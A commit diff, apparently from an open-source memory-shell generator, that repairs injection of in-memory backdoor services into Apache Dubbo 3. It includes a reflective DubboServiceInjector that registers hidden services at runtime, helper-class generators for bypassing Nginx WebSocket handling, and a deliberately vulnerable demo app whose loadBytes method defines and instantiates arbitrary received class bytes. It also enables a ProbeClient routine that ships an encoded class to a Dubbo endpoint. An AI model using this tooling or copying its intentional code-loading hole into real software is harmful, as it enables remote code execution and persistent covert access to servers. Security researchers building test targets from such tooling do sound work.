mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
fix: dubbo3 inject failed
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
This commit is contained in:
@@ -64,19 +64,24 @@ public class MemShellGenerator {
|
|||||||
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
|
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
|
||||||
|
|
||||||
if (ShellType.DUBBO_SERVICE.equals(shellConfig.getShellType())) {
|
if (ShellType.DUBBO_SERVICE.equals(shellConfig.getShellType())) {
|
||||||
String interfaceName = shellToolConfig.getShellClassName() + "$1";
|
String packageName = CommonUtil.getPackageName(shellToolConfig.getShellClassName());
|
||||||
|
String simpleName = CommonUtil.getSimpleName(shellToolConfig.getShellClassName());
|
||||||
|
String interfaceName = packageName + ".I" + simpleName;
|
||||||
|
injectorConfig.setInjectorHelperClassName(interfaceName);
|
||||||
injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig));
|
injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig));
|
||||||
shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName);
|
shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName);
|
||||||
String urlPattern = injectorConfig.getUrlPattern();
|
String urlPattern = injectorConfig.getUrlPattern();
|
||||||
if (Strings.CS.equalsAny(urlPattern, "/*", "/")
|
if (Strings.CS.equalsAny(urlPattern, "/*", "/")
|
||||||
|| StringUtils.isBlank(urlPattern)) {
|
|| StringUtils.isBlank(urlPattern)) {
|
||||||
injectorConfig.setUrlPattern(shellToolConfig.getShellClassName());
|
injectorConfig.setUrlPattern(interfaceName);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|
||||||
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
|
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
|
||||||
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig));
|
String helperClassName = shellToolConfig.getShellClassName() + "$1";
|
||||||
|
injectorConfig.setInjectorHelperClassName(helperClassName);
|
||||||
|
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(helperClassName, shellConfig, shellToolConfig));
|
||||||
}
|
}
|
||||||
|
|
||||||
injectorConfig.setInjectorClass(injectorClass);
|
injectorConfig.setInjectorClass(injectorClass);
|
||||||
|
|||||||
@@ -43,6 +43,11 @@ public class InjectorConfig {
|
|||||||
*/
|
*/
|
||||||
private byte[] shellClassBytes;
|
private byte[] shellClassBytes;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 辅助类类名
|
||||||
|
*/
|
||||||
|
private String injectorHelperClassName;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 辅助类字节码
|
* 辅助类字节码
|
||||||
*/
|
*/
|
||||||
|
|||||||
+2
-2
@@ -18,7 +18,7 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
|||||||
* @since 2026/1/13
|
* @since 2026/1/13
|
||||||
*/
|
*/
|
||||||
public class WebSocketByPassHelperGenerator {
|
public class WebSocketByPassHelperGenerator {
|
||||||
public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
public static byte[] getBytes(String helperClassName, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
|
Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
|
||||||
if (headerPair == null) {
|
if (headerPair == null) {
|
||||||
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
|
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
|
||||||
@@ -30,7 +30,7 @@ public class WebSocketByPassHelperGenerator {
|
|||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
||||||
.field(named("headerName")).value(headerPair.getKey())
|
.field(named("headerName")).value(headerPair.getKey())
|
||||||
.field(named("headerValue")).value(headerPair.getValue())
|
.field(named("headerValue")).value(headerPair.getValue())
|
||||||
.name(shellToolConfig.getShellClassName() + "$1");
|
.name(helperClassName);
|
||||||
if (shellConfig.isJakarta()) {
|
if (shellConfig.isJakarta()) {
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
}
|
}
|
||||||
|
|||||||
+37
-3
@@ -6,7 +6,6 @@ import org.apache.dubbo.common.utils.NetUtils;
|
|||||||
import org.apache.dubbo.config.ProtocolConfig;
|
import org.apache.dubbo.config.ProtocolConfig;
|
||||||
import org.apache.dubbo.config.RegistryConfig;
|
import org.apache.dubbo.config.RegistryConfig;
|
||||||
import org.apache.dubbo.config.ServiceConfig;
|
import org.apache.dubbo.config.ServiceConfig;
|
||||||
import org.apache.dubbo.config.ServiceConfigBase;
|
|
||||||
import org.apache.dubbo.config.context.ConfigManager;
|
import org.apache.dubbo.config.context.ConfigManager;
|
||||||
import org.apache.dubbo.rpc.model.ApplicationModel;
|
import org.apache.dubbo.rpc.model.ApplicationModel;
|
||||||
|
|
||||||
@@ -152,9 +151,43 @@ public class DubboServiceInjector {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
private boolean isPathRegisteredInFramework(String path) {
|
private boolean isPathRegisteredInFramework(String path) {
|
||||||
Collection<ServiceConfigBase> services = ApplicationModel.getConfigManager().getServices();
|
try {
|
||||||
return services.stream().anyMatch(s -> path.equals(s.getPath()));
|
for (Object service : getRegisteredServices()) {
|
||||||
|
try {
|
||||||
|
Method getPath = service.getClass().getMethod("getPath");
|
||||||
|
if (path.equals(getPath.invoke(service))) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private Collection<?> getRegisteredServices() {
|
||||||
|
try {
|
||||||
|
ConfigManager configManager = ApplicationModel.getConfigManager();
|
||||||
|
Method getServices = configManager.getClass().getMethod("getServices");
|
||||||
|
return (Collection<?>) getServices.invoke(configManager);
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
Method defaultModel = ApplicationModel.class.getMethod("defaultModel");
|
||||||
|
Object model = defaultModel.invoke(null);
|
||||||
|
Method getDefaultModule = model.getClass().getMethod("getDefaultModule");
|
||||||
|
Object moduleModel = getDefaultModule.invoke(model);
|
||||||
|
Method getConfigManager = moduleModel.getClass().getMethod("getConfigManager");
|
||||||
|
Object moduleConfigManager = getConfigManager.invoke(moduleModel);
|
||||||
|
Method getServices = moduleConfigManager.getClass().getMethod("getServices");
|
||||||
|
return (Collection<?>) getServices.invoke(moduleConfigManager);
|
||||||
|
} catch (Exception ex) {
|
||||||
|
return new ArrayList<>();
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private String normalizePath(String path) {
|
private String normalizePath(String path) {
|
||||||
@@ -200,6 +233,7 @@ public class DubboServiceInjector {
|
|||||||
serviceConfig.setRef(serviceInstance);
|
serviceConfig.setRef(serviceInstance);
|
||||||
serviceConfig.setPath(path);
|
serviceConfig.setPath(path);
|
||||||
serviceConfig.setVersion("1.0.0");
|
serviceConfig.setVersion("1.0.0");
|
||||||
|
serviceConfig.setProxy("jdk");
|
||||||
serviceConfig.setApplication(configManager.getApplication().orElse(null));
|
serviceConfig.setApplication(configManager.getApplication().orElse(null));
|
||||||
|
|
||||||
List<ProtocolConfig> protocols = new ArrayList<>(configManager.getDefaultProtocols());
|
List<ProtocolConfig> protocols = new ArrayList<>(configManager.getDefaultProtocols());
|
||||||
|
|||||||
@@ -145,7 +145,7 @@ public class CommonUtil {
|
|||||||
+ "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
|
+ "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getSimpleName(String injectorClassName) {
|
public static String getSimpleName(String className) {
|
||||||
return injectorClassName.substring(injectorClassName.lastIndexOf(".") + 1);
|
return className.substring(className.lastIndexOf(".") + 1);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -35,6 +35,7 @@ include("generator")
|
|||||||
include("thirdparty:thirdparty-tomcat")
|
include("thirdparty:thirdparty-tomcat")
|
||||||
include("integration-test")
|
include("integration-test")
|
||||||
include("vul:vul-dubbo278")
|
include("vul:vul-dubbo278")
|
||||||
|
include("vul:vul-dubbo315")
|
||||||
include("vul:vul-webapp")
|
include("vul:vul-webapp")
|
||||||
include("vul:vul-webapp-jakarta")
|
include("vul:vul-webapp-jakarta")
|
||||||
include("vul:vul-webapp-expression")
|
include("vul:vul-webapp-expression")
|
||||||
|
|||||||
+1
-10
@@ -1,15 +1,11 @@
|
|||||||
package com.reajason.javaweb.vuldubbo278;
|
package com.reajason.javaweb.dubbo;
|
||||||
|
|
||||||
import org.apache.dubbo.common.bytecode.ClassGenerator;
|
|
||||||
import org.apache.dubbo.common.utils.ClassUtils;
|
|
||||||
import org.apache.dubbo.config.annotation.DubboService;
|
import org.apache.dubbo.config.annotation.DubboService;
|
||||||
import org.springframework.beans.factory.annotation.Value;
|
import org.springframework.beans.factory.annotation.Value;
|
||||||
|
|
||||||
@DubboService(version = "1.0.0", path = "demo_say_hello")
|
@DubboService(version = "1.0.0", path = "demo_say_hello")
|
||||||
public class DefaultDemoService extends ClassLoader implements DemoService {
|
public class DefaultDemoService extends ClassLoader implements DemoService {
|
||||||
|
|
||||||
private final DubboServiceInjector dubboServiceInjector = new DubboServiceInjector();
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* The default value of ${dubbo.application.name} is ${spring.application.name}
|
* The default value of ${dubbo.application.name} is ${spring.application.name}
|
||||||
*/
|
*/
|
||||||
@@ -35,9 +31,4 @@ public class DefaultDemoService extends ClassLoader implements DemoService {
|
|||||||
}
|
}
|
||||||
return o.toString();
|
return o.toString();
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
|
||||||
public String registerService(String path, String interfaceClassName, String implementationClassName) {
|
|
||||||
return dubboServiceInjector.registerService(path, interfaceClassName, implementationClassName);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
package com.reajason.javaweb.dubbo;
|
||||||
|
|
||||||
|
public interface DemoService {
|
||||||
|
|
||||||
|
String sayHello(String name);
|
||||||
|
|
||||||
|
String loadBytes(byte[] bytes);
|
||||||
|
|
||||||
|
}
|
||||||
+10
-9
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.vuldubbo278;
|
package com.reajason.javaweb.dubbo;
|
||||||
|
|
||||||
import com.caucho.hessian.client.HessianProxyFactory;
|
import com.caucho.hessian.client.HessianProxyFactory;
|
||||||
import com.caucho.hessian.io.HessianRemoteObject;
|
import com.caucho.hessian.io.HessianRemoteObject;
|
||||||
@@ -18,11 +18,11 @@ public class ProbeClient {
|
|||||||
|
|
||||||
public static void main(String[] args) throws Exception {
|
public static void main(String[] args) throws Exception {
|
||||||
// dubboSayHello("dubbo://127.0.0.1:12345/demo_say_hello");
|
// dubboSayHello("dubbo://127.0.0.1:12345/demo_say_hello");
|
||||||
// try {
|
try {
|
||||||
// dubboExploit();
|
dubboExploit();
|
||||||
// } catch (Exception e) {
|
} catch (Exception e) {
|
||||||
// e.printStackTrace();
|
e.printStackTrace();
|
||||||
// }
|
}
|
||||||
// exploit();
|
// exploit();
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -58,9 +58,9 @@ public class ProbeClient {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public static void dubboExploit() throws Exception {
|
public static void dubboExploit() throws Exception {
|
||||||
String url = "dubbo://192.168.31.206:12345/org.apache.http.web.handlers.wJMhG.OAuthDubboService";
|
String url = "dubbo://198.18.0.1:50051/org.apache.http.web.handlers.VTcIU.AuthDubboService";
|
||||||
String b = "H4sIAAAAAAAA/zv1b9c+BgYGEwZ2Rgaz/KJ0/cSCxOSMVP2MkpIC/fLUJP2MxLyUnNSiYv1yL98Md31/x9KSDJfSpKT84NSisszkVBVDdgZGRgaBrMSyRP2cxLx0ff+krNTkEnYGZkYGNohuIEMj2kkz2omNkYGJgYUBBBhZGBlYGdhATAD+bjiShAAAAA==";
|
String b = "yv66vgAAADQABwEANW9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvVlRjSVUvQXV0aER1YmJvU2VydmljZSQxBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABmhhbmRsZQEABihbQilbQgYBAAIABAAAAAAAAQQBAAUABgAAAAA=";
|
||||||
byte[] bytes = gzipDecompress(Base64.getDecoder().decode(b));
|
byte[] bytes = Base64.getDecoder().decode(b);
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
ClassLoader classLoader = ClassGenerator.class.getClassLoader();
|
ClassLoader classLoader = ClassGenerator.class.getClassLoader();
|
||||||
@@ -70,6 +70,7 @@ public class ProbeClient {
|
|||||||
reference.setApplication(new ApplicationConfig("dubbo-consumer"));
|
reference.setApplication(new ApplicationConfig("dubbo-consumer"));
|
||||||
reference.setInterface(clazz);
|
reference.setInterface(clazz);
|
||||||
reference.setVersion("1.0.0");
|
reference.setVersion("1.0.0");
|
||||||
|
reference.setProxy("jdk");
|
||||||
reference.setUrl(url);
|
reference.setUrl(url);
|
||||||
|
|
||||||
try {
|
try {
|
||||||
+1
-5
@@ -1,11 +1,7 @@
|
|||||||
package com.reajason.javaweb.vuldubbo278;
|
package com.reajason.javaweb.dubbo;
|
||||||
|
|
||||||
import org.springframework.boot.ApplicationRunner;
|
|
||||||
import org.springframework.boot.SpringApplication;
|
import org.springframework.boot.SpringApplication;
|
||||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||||
import org.springframework.context.annotation.Bean;
|
|
||||||
|
|
||||||
import javax.script.ScriptEngineManager;
|
|
||||||
|
|
||||||
@SpringBootApplication
|
@SpringBootApplication
|
||||||
public class VulDubbo278Application {
|
public class VulDubbo278Application {
|
||||||
@@ -1,10 +0,0 @@
|
|||||||
package com.reajason.javaweb.vuldubbo278;
|
|
||||||
|
|
||||||
public interface DemoService {
|
|
||||||
|
|
||||||
String sayHello(String name);
|
|
||||||
|
|
||||||
String loadBytes(byte[] bytes);
|
|
||||||
|
|
||||||
String registerService(String path, String interfaceClassName, String implementationClassName);
|
|
||||||
}
|
|
||||||
-154
@@ -1,154 +0,0 @@
|
|||||||
package com.reajason.javaweb.vuldubbo278;
|
|
||||||
|
|
||||||
import org.apache.dubbo.common.utils.NetUtils;
|
|
||||||
import org.apache.dubbo.config.ProtocolConfig;
|
|
||||||
import org.apache.dubbo.config.RegistryConfig;
|
|
||||||
import org.apache.dubbo.config.ServiceConfig;
|
|
||||||
import org.apache.dubbo.config.ServiceConfigBase;
|
|
||||||
import org.apache.dubbo.config.context.ConfigManager;
|
|
||||||
import org.apache.dubbo.rpc.model.ApplicationModel;
|
|
||||||
import org.slf4j.Logger;
|
|
||||||
import org.slf4j.LoggerFactory;
|
|
||||||
|
|
||||||
import java.lang.reflect.Constructor;
|
|
||||||
import java.lang.reflect.Modifier;
|
|
||||||
import java.util.ArrayList;
|
|
||||||
import java.util.Collection;
|
|
||||||
import java.util.List;
|
|
||||||
import java.util.Map;
|
|
||||||
import java.util.concurrent.ConcurrentHashMap;
|
|
||||||
import java.util.stream.Collectors;
|
|
||||||
|
|
||||||
public class DubboServiceInjector {
|
|
||||||
private static final Logger logger = LoggerFactory.getLogger(DubboServiceInjector.class);
|
|
||||||
|
|
||||||
private final Map<String, ServiceConfig<?>> dynamicServices = new ConcurrentHashMap<>();
|
|
||||||
|
|
||||||
public String registerService(String path, String interfaceClassName, String implementationClassName) {
|
|
||||||
String normalizedPath = normalizePath(path);
|
|
||||||
if (normalizedPath.isEmpty()) {
|
|
||||||
throw new IllegalArgumentException("path must not be empty");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (dynamicServices.containsKey(normalizedPath)) {
|
|
||||||
String addresses = resolveServiceAddresses(normalizedPath);
|
|
||||||
logger.info("service path [{}] already registered by injector, skipping: {}", normalizedPath, addresses);
|
|
||||||
return addresses;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (isPathRegisteredInFramework(normalizedPath)) {
|
|
||||||
String addresses = resolveServiceAddresses(normalizedPath);
|
|
||||||
logger.info("service path [{}] already registered in framework, skipping: {}", normalizedPath, addresses);
|
|
||||||
return addresses;
|
|
||||||
}
|
|
||||||
|
|
||||||
Class<?> interfaceClass = loadLocalClass(interfaceClassName);
|
|
||||||
Class<?> implementationClass = loadLocalClass(implementationClassName);
|
|
||||||
validateServiceTypes(interfaceClass, implementationClass);
|
|
||||||
|
|
||||||
Object serviceInstance = instantiate(implementationClass);
|
|
||||||
ServiceConfig<Object> serviceConfig = createServiceConfig(normalizedPath, interfaceClass, serviceInstance);
|
|
||||||
ServiceConfig<?> previous = dynamicServices.putIfAbsent(normalizedPath, serviceConfig);
|
|
||||||
if (previous != null) {
|
|
||||||
return resolveServiceAddresses(normalizedPath);
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
serviceConfig.export();
|
|
||||||
String addresses = resolveServiceAddresses(normalizedPath);
|
|
||||||
logger.info("registered dynamic service [{}] at {}", normalizedPath, addresses);
|
|
||||||
return addresses;
|
|
||||||
} catch (RuntimeException e) {
|
|
||||||
dynamicServices.remove(normalizedPath, serviceConfig);
|
|
||||||
throw e;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private boolean isPathRegisteredInFramework(String path) {
|
|
||||||
Collection<ServiceConfigBase> services = ApplicationModel.getConfigManager().getServices();
|
|
||||||
return services.stream().anyMatch(s -> path.equals(s.getPath()));
|
|
||||||
}
|
|
||||||
|
|
||||||
private String normalizePath(String path) {
|
|
||||||
if (path == null) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
String normalized = path.trim();
|
|
||||||
while (normalized.startsWith("/")) {
|
|
||||||
normalized = normalized.substring(1);
|
|
||||||
}
|
|
||||||
return normalized;
|
|
||||||
}
|
|
||||||
|
|
||||||
private Class<?> loadLocalClass(String className) {
|
|
||||||
try {
|
|
||||||
return Class.forName(className, true, Thread.currentThread().getContextClassLoader());
|
|
||||||
} catch (ClassNotFoundException e) {
|
|
||||||
throw new IllegalArgumentException("class not found on local classpath: " + className, e);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private void validateServiceTypes(Class<?> interfaceClass, Class<?> implementationClass) {
|
|
||||||
if (!interfaceClass.isInterface()) {
|
|
||||||
throw new IllegalArgumentException("not an interface: " + interfaceClass.getName());
|
|
||||||
}
|
|
||||||
if (implementationClass.isInterface() || Modifier.isAbstract(implementationClass.getModifiers())) {
|
|
||||||
throw new IllegalArgumentException("implementation class is not instantiable: " + implementationClass.getName());
|
|
||||||
}
|
|
||||||
if (!interfaceClass.isAssignableFrom(implementationClass)) {
|
|
||||||
throw new IllegalArgumentException(implementationClass.getName()
|
|
||||||
+ " does not implement " + interfaceClass.getName());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private Object instantiate(Class<?> implementationClass) {
|
|
||||||
try {
|
|
||||||
Constructor<?> constructor = implementationClass.getDeclaredConstructor();
|
|
||||||
constructor.setAccessible(true);
|
|
||||||
return constructor.newInstance();
|
|
||||||
} catch (ReflectiveOperationException e) {
|
|
||||||
throw new IllegalArgumentException("failed to instantiate " + implementationClass.getName(), e);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
|
||||||
private ServiceConfig<Object> createServiceConfig(String path, Class<?> interfaceClass, Object serviceInstance) {
|
|
||||||
ConfigManager configManager = ApplicationModel.getConfigManager();
|
|
||||||
|
|
||||||
ServiceConfig serviceConfig = new ServiceConfig();
|
|
||||||
serviceConfig.setInterface(interfaceClass);
|
|
||||||
serviceConfig.setRef(serviceInstance);
|
|
||||||
serviceConfig.setPath(path);
|
|
||||||
serviceConfig.setVersion("1.0.0");
|
|
||||||
serviceConfig.setApplication(configManager.getApplication().orElse(null));
|
|
||||||
|
|
||||||
List<ProtocolConfig> protocols = new ArrayList<>(configManager.getDefaultProtocols());
|
|
||||||
if (protocols.isEmpty()) {
|
|
||||||
protocols = new ArrayList<>(configManager.getProtocols());
|
|
||||||
}
|
|
||||||
serviceConfig.setProtocols(protocols);
|
|
||||||
|
|
||||||
List<RegistryConfig> registries = new ArrayList<>(configManager.getDefaultRegistries());
|
|
||||||
if (registries.isEmpty()) {
|
|
||||||
registries = new ArrayList<>(configManager.getRegistries());
|
|
||||||
}
|
|
||||||
serviceConfig.setRegistries(registries);
|
|
||||||
|
|
||||||
return serviceConfig;
|
|
||||||
}
|
|
||||||
|
|
||||||
private String resolveServiceAddresses(String path) {
|
|
||||||
ConfigManager configManager = ApplicationModel.getConfigManager();
|
|
||||||
List<ProtocolConfig> protocols = configManager.getDefaultProtocols();
|
|
||||||
if (protocols.isEmpty()) {
|
|
||||||
protocols = new ArrayList<>(configManager.getProtocols());
|
|
||||||
}
|
|
||||||
if (protocols.isEmpty()) {
|
|
||||||
return path;
|
|
||||||
}
|
|
||||||
String localHost = NetUtils.getLocalHost();
|
|
||||||
return protocols.stream()
|
|
||||||
.map(pc -> String.format("%s://%s:%d/%s", pc.getName(), localHost, pc.getPort(), path))
|
|
||||||
.collect(Collectors.joining(", "));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
plugins {
|
||||||
|
id("org.springframework.boot") version "2.7.6"
|
||||||
|
id("io.spring.dependency-management") version "1.0.15.RELEASE"
|
||||||
|
id("java")
|
||||||
|
}
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(8)
|
||||||
|
}
|
||||||
|
targetCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation("org.springframework.boot:spring-boot-starter")
|
||||||
|
implementation("org.apache.dubbo:dubbo-spring-boot-starter:3.1.5")
|
||||||
|
implementation("javax.servlet:javax.servlet-api:4.0.1")
|
||||||
|
implementation("org.eclipse.jetty:jetty-server")
|
||||||
|
implementation("org.eclipse.jetty:jetty-servlet")
|
||||||
|
implementation("commons-io:commons-io:2.19.0")
|
||||||
|
implementation("net.bytebuddy:byte-buddy:1.10.10")
|
||||||
|
testImplementation("org.springframework.boot:spring-boot-starter-test") {
|
||||||
|
exclude(group = "org.mockito")
|
||||||
|
}
|
||||||
|
testImplementation("org.junit.jupiter:junit-jupiter-api")
|
||||||
|
testImplementation("org.junit.jupiter:junit-jupiter")
|
||||||
|
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
|
||||||
|
runtimeOnly("com.h2database:h2")
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.test {
|
||||||
|
useJUnitPlatform()
|
||||||
|
}
|
||||||
@@ -0,0 +1,37 @@
|
|||||||
|
package com.reajason.javaweb.dubbo;
|
||||||
|
|
||||||
|
import org.apache.dubbo.config.annotation.DubboService;
|
||||||
|
import org.springframework.beans.factory.annotation.Value;
|
||||||
|
|
||||||
|
@DubboService(version = "1.0.0", path = "demo_say_hello")
|
||||||
|
public class DefaultDemoService extends ClassLoader implements DemoService {
|
||||||
|
/**
|
||||||
|
* The default value of ${dubbo.application.name} is ${spring.application.name}
|
||||||
|
*/
|
||||||
|
@Value("${dubbo.application.name}")
|
||||||
|
private String serviceName;
|
||||||
|
|
||||||
|
public DefaultDemoService() {
|
||||||
|
super(Thread.currentThread().getContextClassLoader());
|
||||||
|
}
|
||||||
|
|
||||||
|
public String sayHello(String name) {
|
||||||
|
return String.format("[%s] : Hello, %s", serviceName, name);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String loadBytes(byte[] bytes) {
|
||||||
|
System.out.println("i am in");
|
||||||
|
Class<?> aClass = defineClass(bytes, 0, bytes.length);
|
||||||
|
System.out.println("define class");
|
||||||
|
Object o = null;
|
||||||
|
try {
|
||||||
|
System.out.println("new instance");
|
||||||
|
o = aClass.newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
System.out.println("error for new instance");
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return String.format("[%s] : Hello, %s", serviceName, o.toString());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
package com.reajason.javaweb.dubbo;
|
||||||
|
|
||||||
|
public interface DemoService {
|
||||||
|
|
||||||
|
String sayHello(String name);
|
||||||
|
|
||||||
|
String loadBytes(byte[] bytes);
|
||||||
|
}
|
||||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,15 @@
|
|||||||
|
package com.reajason.javaweb.dubbo;
|
||||||
|
|
||||||
|
import org.apache.dubbo.config.spring.context.annotation.EnableDubbo;
|
||||||
|
import org.springframework.boot.SpringApplication;
|
||||||
|
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||||
|
|
||||||
|
@SpringBootApplication
|
||||||
|
@EnableDubbo
|
||||||
|
public class VulDubbo315Application {
|
||||||
|
|
||||||
|
public static void main(String[] args) {
|
||||||
|
SpringApplication.run(VulDubbo315Application.class, args);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
# Spring boot application
|
||||||
|
spring.application.name=dubbo-auto-configuration-provider-demo
|
||||||
|
# Base packages to scan Dubbo Component: @org.apache.dubbo.config.annotation.Service
|
||||||
|
dubbo.scan.base-packages=com.reajason.javaweb.vuldubbo315
|
||||||
|
|
||||||
|
# Dubbo Application
|
||||||
|
## The default value of dubbo.application.name is ${spring.application.name}
|
||||||
|
## dubbo.application.name=${spring.application.name}
|
||||||
|
|
||||||
|
# Dubbo Protocol
|
||||||
|
dubbo.protocol.name=tri
|
||||||
|
dubbo.protocol.port=50051
|
||||||
|
|
||||||
|
## Dubbo Registry
|
||||||
|
dubbo.registry.address=N/A
|
||||||
@@ -128,7 +128,7 @@ export default function ShellResult({
|
|||||||
wrapLongLines={true}
|
wrapLongLines={true}
|
||||||
header={
|
header={
|
||||||
<div className="text-xs">
|
<div className="text-xs">
|
||||||
{generateResult?.shellClassName + "$1"}
|
{generateResult?.injectorConfig.injectorHelperClassName}
|
||||||
